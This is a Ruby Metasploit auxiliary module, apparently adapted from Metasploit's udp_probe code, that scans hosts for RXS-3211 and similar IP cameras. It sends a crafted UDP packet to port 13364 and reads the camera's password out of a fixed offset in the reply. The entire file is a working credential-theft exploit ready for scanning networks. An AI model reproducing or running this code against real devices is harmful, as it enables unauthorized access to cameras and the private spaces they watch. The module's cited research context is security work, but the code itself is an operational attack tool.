##
# Adapted from Metasploit udp_probe code
# See reference for all possibly vulnerable devices
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'        => 'IP Camera Password Retriever',
			'Version'     => '0.1',
			'Description' => 'Retrieve password from RXS-3211 IP Camera and others.',
			'Author'      => 'Ben Schmidt',
            'References'  => [
                    ['URL', 'http://spareclockcycles.org/exploiting-an-ip-camera-control-protocol/']
                ],
			'License'     => MSF_LICENSE
		)

		register_options(
			[
				Opt::CHOST,
                Opt::RPORT(13364),
				OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
			], self.class)
	end

	# Scan a single host
	def run_host(ip)

        cmd = "\x00\x06\xff\xf9"
        target_mac = "\xff\xff\xff\xff\xff\xff"
		begin
            # Create an unbound UDP socket if no CHOST is specified, otherwise
            # create a UDP socket bound to CHOST (in order to avail of pivoting)
            udp_sock = Rex::Socket::Udp.create( {
                'LocalHost' => datastore['CHOST'] || nil,
                'PeerHost'  => ip, 'PeerPort' => datastore['RPORT'],
                'Context' => {'Msf' => framework, 'MsfExploit' => self}
            })

            udp_sock.put(target_mac+cmd)

            r = udp_sock.recvfrom(65535, 0.5) and r[1]
            parse_reply(r) if r

        rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
            nil

		rescue ::Interrupt
			raise $!
		rescue ::Exception => e
			print_error("Unknown error: #{e.class} #{e}")
        ensure
            udp_sock.close if udp_sock
        end
	end
	
    def parse_reply(pkt)
		@results ||= {}

		# Ignore "empty" packets
		return if not pkt[1]

		if(pkt[1] =~ /^::ffff:/)
			pkt[1] = pkt[1].sub(/^::ffff:/, '')
		end

		# Ignore duplicates
		hkey = "#{pkt[1]}:#{pkt[2]}"
		return if @results[hkey]
        print_status("Discovered vulnerable camera on #{pkt[1]}:#{pkt[2]} (Password -> #{pkt[0][333,12]})") if pkt[0][6,4] == "\x01\x06\xff\xf9"

    end
end

